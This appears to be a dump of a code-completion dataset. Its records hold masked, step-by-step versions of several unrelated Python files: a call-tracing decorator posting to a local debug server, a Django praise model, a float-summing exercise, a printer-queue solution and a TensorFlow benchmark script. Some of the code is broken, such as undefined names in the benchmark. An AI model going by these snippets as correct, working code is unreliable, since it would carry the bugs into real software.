2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\ndef trace_cls(method):\n\n def _trace_cls(cls):\n orig_getattribute = cls.__getattribute__\n\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = '(%s)' % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n if 'http://' in method:\n requests.post('http://localhost:12222/', data={'class':\n cls.__name__, 'fun': name + args, 'time': t})\n else:\n with open(method, 'a+') as fp:\n s = ','.join([cls.__name__, t, name + args])\n fp.write(s + '\\n')\n return orig_getattribute(self, name)\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--load', default=None, help='loadfile')\n parser.add_argument('--url', default='http://localhost:12222', help=\n 'debug server')\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}\n )\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\ndef trace_cls(method):\n\n def _trace_cls(cls):\n orig_getattribute = cls.__getattribute__\n\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = '(%s)' % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n if 'http://' in method:\n requests.post('http://localhost:12222/', data={'class':\n cls.__name__, 'fun': name + args, 'time': t})\n else:\n with open(method, 'a+') as fp:\n s = ','.join([cls.__name__, t, name + args])\n fp.write(s + '\\n')\n return orig_getattribute(self, name)\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--load', default=None, help='loadfile')\n parser.add_argument('--url', default='http://localhost:12222', help=\n 'debug server')\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}\n )\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import functools\nimport requests\nimport time\nimport argparse\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = [] \n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(\",\".join([cls,t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no,i in enumerate(TracePoint.flow[1:]):\n cls,t, func = i.split(',',2)\n fcls,ft, ffunc = first.split(',', 2)\n fn = func.split(\"(\")[0]\n ffn = ffunc.split(\"(\")[0]\n label = \"{l} -> {c}\".format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc,_ = self.get_color(cls, func)\n yield \"\"\"{l} -> {c} [label=\"<span style='color:gray;'>{t}</span>|<span style='font-size:18px;color:red'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];\"\"\".format(no=no,l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n\n def render_var(self, one):\n cls,t, func = one.strip().split(\",\", 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split(\"(\")[0]\n tmp = \"\"\"{func_name} [labelType=\"html\" label=\"<span style='font-size:28px;color:{color_f}'>{func}</span><span style='color:{color};'>class:{cls}</span>\"];\"\"\".format(func_name=fn, color=color,color_f=color_f,cls=cls, func=func)\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace(\"0x\", \"#\")\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace(\"0x\", \"#\")\n if len(c) < 4:\n c = c + '0'* (4- len(c))\n if len(c_f) < 4:\n c_f = c_f + '0'* (4- len(c_f))\n return c,c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = \"\\n\\t\".join([self.render_var(i) for i in TracePoint.flow])\n lcon = \"\\n\\t\".join(self.render_flow())\n return TEMP % (fcon + lcon)\n\ndef trace(cls):\n\n def _func(func):\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args,\"|\" ,kargs)\n return func(*args, **kargs)\n\n return __run\n return _func\n\n\ndef trace_cls(method):\n def _trace_cls(cls):\n # Get the original implementation\n orig_getattribute = cls.__getattribute__\n\n # Make a new definition\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = \"(%s)\" % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n\n if \"http://\" in method:\n requests.post(\"http://localhost:12222/\", data={\n 'class':cls.__name__,\n 'fun':name + args,\n 'time':t,\n })\n else:\n with open(method, \"a+\") as fp:\n s = \",\".join([cls.__name__,t,name + args])\n fp.write(s + \"\\n\")\n return orig_getattribute(self, name)\n\n # Attach to the class and return\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\",\"--load\",default=None,help=\"loadfile\")\n parser.add_argument(\"--url\", default='http://localhost:12222',help=\"debug server\")\n\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={\n 'class':cls,\n 'fun':func,\n 'time':t,\n })\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 6, 9, 11, 12, 14 ] }
[ 6, 9, 11, 12, 14 ]
from django.contrib.postgres.fields import JSONField from django.db import models from service.models import TimeStampedModel class Praise(TimeStampedModel): class Meta: verbose_name = '칭찬' verbose_name_plural = verbose_name content = models.CharField(verbose_name='내용', unique=True, max_length=200) class PraiseHistory(TimeStampedModel): class Meta: verbose_name = '칭찬 내역' verbose_name_plural = verbose_name praise = models.ForeignKey(Praise, verbose_name='칭찬') choices = JSONField(verbose_name='칭찬 대상 목록') sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200 ) receiver_key = models.CharField(verbose_name='받은 사람 user key', max_length=200)
normal
{ "blob_id": "a4db12fee72989f983c1069839dc0a5ede4561a3", "index": 686, "step-1": "<mask token>\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n", "step-2": "<mask token>\n\n\nclass Praise(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬'\n verbose_name_plural = verbose_name\n <mask token>\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n", "step-3": "<mask token>\n\n\nclass Praise(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬'\n verbose_name_plural = verbose_name\n content = models.CharField(verbose_name='내용', unique=True, max_length=200)\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n", "step-4": "from django.contrib.postgres.fields import JSONField\nfrom django.db import models\nfrom service.models import TimeStampedModel\n\n\nclass Praise(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬'\n verbose_name_plural = verbose_name\n content = models.CharField(verbose_name='내용', unique=True, max_length=200)\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n", "step-5": null, "step-ids": [ 2, 3, 4, 5 ] }
[ 2, 3, 4, 5 ]
# Кицела Каролина ИВТ 3 курс # Вариант 6 # Найти сумму всех чисел с плавающей точкой b = ("name", " DeLorean DMC-12", "motor_pos", "rear", "n_of_wheels", 4, "n_of_passengers", 2, "weight", 1.230, "height", 1.140, "length", 4.216, "width", 1.857, "max_speed", 177) print sum(b[9:16:2])
normal
{ "blob_id": "b5160a2574dd2c4eec542d7aca8288da0feadaba", "index": 5702, "step-1": "# Кицела Каролина ИВТ 3 курс \n# Вариант 6 \n# Найти сумму всех чисел с плавающей точкой\n\nb = (\"name\",\t\"\tDeLorean\tDMC-12\",\t\"motor_pos\",\t\"rear\",\t\"n_of_wheels\",\t4,\n\"n_of_passengers\",\t2,\t\"weight\",\t1.230,\t\"height\",\t1.140,\t\"length\",\t4.216,\n \"width\", 1.857, \"max_speed\", 177)\n\nprint sum(b[9:16:2])\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for _ in range(t): n, m = map(int, sys.stdin.readline().split()) q = deque(map(int, sys.stdin.readline().split())) count = 0 while q: highest = max(q) doc = q.popleft() m -= 1 if doc != highest: q.append(doc) if m < 0: m = len(q) - 1 else: count += 1 if m < 0: print(count) break <|reserved_special_token_1|> <|reserved_special_token_0|> t = int(sys.stdin.readline().rstrip()) for _ in range(t): n, m = map(int, sys.stdin.readline().split()) q = deque(map(int, sys.stdin.readline().split())) count = 0 while q: highest = max(q) doc = q.popleft() m -= 1 if doc != highest: q.append(doc) if m < 0: m = len(q) - 1 else: count += 1 if m < 0: print(count) break <|reserved_special_token_1|> import sys from collections import deque t = int(sys.stdin.readline().rstrip()) for _ in range(t): n, m = map(int, sys.stdin.readline().split()) q = deque(map(int, sys.stdin.readline().split())) count = 0 while q: highest = max(q) doc = q.popleft() m -= 1 if doc != highest: q.append(doc) if m < 0: m = len(q) - 1 else: count += 1 if m < 0: print(count) break
flexible
{ "blob_id": "a571abd88184c8d8bb05245e9c3ce2e4dabb4c09", "index": 615, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor _ in range(t):\n n, m = map(int, sys.stdin.readline().split())\n q = deque(map(int, sys.stdin.readline().split()))\n count = 0\n while q:\n highest = max(q)\n doc = q.popleft()\n m -= 1\n if doc != highest:\n q.append(doc)\n if m < 0:\n m = len(q) - 1\n else:\n count += 1\n if m < 0:\n print(count)\n break\n", "step-3": "<mask token>\nt = int(sys.stdin.readline().rstrip())\nfor _ in range(t):\n n, m = map(int, sys.stdin.readline().split())\n q = deque(map(int, sys.stdin.readline().split()))\n count = 0\n while q:\n highest = max(q)\n doc = q.popleft()\n m -= 1\n if doc != highest:\n q.append(doc)\n if m < 0:\n m = len(q) - 1\n else:\n count += 1\n if m < 0:\n print(count)\n break\n", "step-4": "import sys\nfrom collections import deque\nt = int(sys.stdin.readline().rstrip())\nfor _ in range(t):\n n, m = map(int, sys.stdin.readline().split())\n q = deque(map(int, sys.stdin.readline().split()))\n count = 0\n while q:\n highest = max(q)\n doc = q.popleft()\n m -= 1\n if doc != highest:\n q.append(doc)\n if m < 0:\n m = len(q) - 1\n else:\n count += 1\n if m < 0:\n print(count)\n break\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import datetime import numpy as np import tensorflow as tf from alphai_time_series.performance_trials.performance import Metrics import alphai_cromulon_oracle.cromulon.evaluate as crocubot_eval import alphai_cromulon_oracle.cromulon.train as crocubot_train from alphai_cromulon_oracle.cromulon.helpers import TensorflowPath, TensorboardOptions from alphai_cromulon_oracle.cromulon.model import CrocuBotModel from alphai_feature_generation.classifier import BinDistribution from alphai_cromulon_oracle.data.providers import TrainDataProviderForDataSource from alphai_cromulon_oracle.helpers import printtime, execute_and_get_duration import examples.iotools as io from examples.benchmark.helpers import print_time_info from examples.helpers import D_TYPE, load_default_topology def run_timed_benchmark_time_series(series_name, tf_flags, do_training=True): topology = load_default_topology(series_name, tf_flags) # First need to establish bin edges using full training set n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000) bin_distribution = _create_bin_distribution(series_name, n_train_samples, topology) batch_size = tf_flags.batch_size save_path = io.build_check_point_filename(series_name, topology, tf_flags) @printtime(message="Training {} with do_train: {}".format(series_name, int(do_training))) def _do_training(): execution_time = datetime.datetime.now() if do_training: data_provider = TrainDataProviderForDataSource( series_name, D_TYPE, n_train_samples, batch_size, True, bin_distribution.bin_edges ) train_x = data_provider.get_batch(0) raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.batch_size) tensorflow_path = TensorflowPath(save_path, tf_flags.model_save_path) tensorboard_options = TensorboardOptions(tf_flags.tensorboard_log_path, tf_flags.learning_rate, batch_size, execution_time ) crocubot_train.train(topology, data_provider, tensorflow_path, tensorboard_options, tf_flags ) else: tf.reset_default_graph() model = CrocuBotModel(topology) model.build_layers_variables() train_time, _ = execute_and_get_duration(_do_training) print("Training complete.") eval_time, _ = execute_and_get_duration(evaluate_network, topology, series_name, batch_size, save_path, bin_distribution, tf_flags) print('Metrics:') print_time_info(train_time, eval_time) def _create_bin_distribution(series_name, n_training_samples, topology): data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, n_training_samples, True) train_data = data_provider.get_batch(0) return BinDistribution(train_data.labels, topology.n_classification_bins) @printtime(message="Evaluation of Stocastic Series") def evaluate_network(topology, series_name, batch_size, save_path, bin_dist, tf_flags): n_training_samples = batch_size * 2 data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, batch_size, False) test_features, test_labels = data_provider.get_batch(1) binned_outputs = crocubot_eval.eval_neural_net(test_features, topology, tf_flags, save_path) estimated_means, estimated_covariance = crocubot_eval.forecast_means_and_variance( binned_outputs, bin_dist, tf_flags) test_labels = np.squeeze(test_labels) model_metrics = Metrics() model_metrics.evaluate_sample_performance( data_provider.data_source, test_labels, estimated_means, estimated_covariance )
normal
{ "blob_id": "bef16443f77b2c1e09db9950a4617703085d9f71", "index": 7807, "step-1": "<mask token>\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\n<mask token>\n\n\n@printtime(message='Evaluation of Stocastic Series')\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist,\n tf_flags):\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, batch_size, False)\n test_features, test_labels = data_provider.get_batch(1)\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology,\n tf_flags, save_path)\n estimated_means, estimated_covariance = (crocubot_eval.\n forecast_means_and_variance(binned_outputs, bin_dist, tf_flags))\n test_labels = np.squeeze(test_labels)\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(data_provider.data_source,\n test_labels, estimated_means, estimated_covariance)\n", "step-3": "<mask token>\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\ndef _create_bin_distribution(series_name, n_training_samples, topology):\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, n_training_samples, True)\n train_data = data_provider.get_batch(0)\n return BinDistribution(train_data.labels, topology.n_classification_bins)\n\n\n@printtime(message='Evaluation of Stocastic Series')\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist,\n tf_flags):\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, batch_size, False)\n test_features, test_labels = data_provider.get_batch(1)\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology,\n tf_flags, save_path)\n estimated_means, estimated_covariance = (crocubot_eval.\n forecast_means_and_variance(binned_outputs, bin_dist, tf_flags))\n test_labels = np.squeeze(test_labels)\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(data_provider.data_source,\n test_labels, estimated_means, estimated_covariance)\n", "step-4": "import datetime\nimport numpy as np\nimport tensorflow as tf\nfrom alphai_time_series.performance_trials.performance import Metrics\nimport alphai_cromulon_oracle.cromulon.evaluate as crocubot_eval\nimport alphai_cromulon_oracle.cromulon.train as crocubot_train\nfrom alphai_cromulon_oracle.cromulon.helpers import TensorflowPath, TensorboardOptions\nfrom alphai_cromulon_oracle.cromulon.model import CrocuBotModel\nfrom alphai_feature_generation.classifier import BinDistribution\nfrom alphai_cromulon_oracle.data.providers import TrainDataProviderForDataSource\nfrom alphai_cromulon_oracle.helpers import printtime, execute_and_get_duration\nimport examples.iotools as io\nfrom examples.benchmark.helpers import print_time_info\nfrom examples.helpers import D_TYPE, load_default_topology\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n 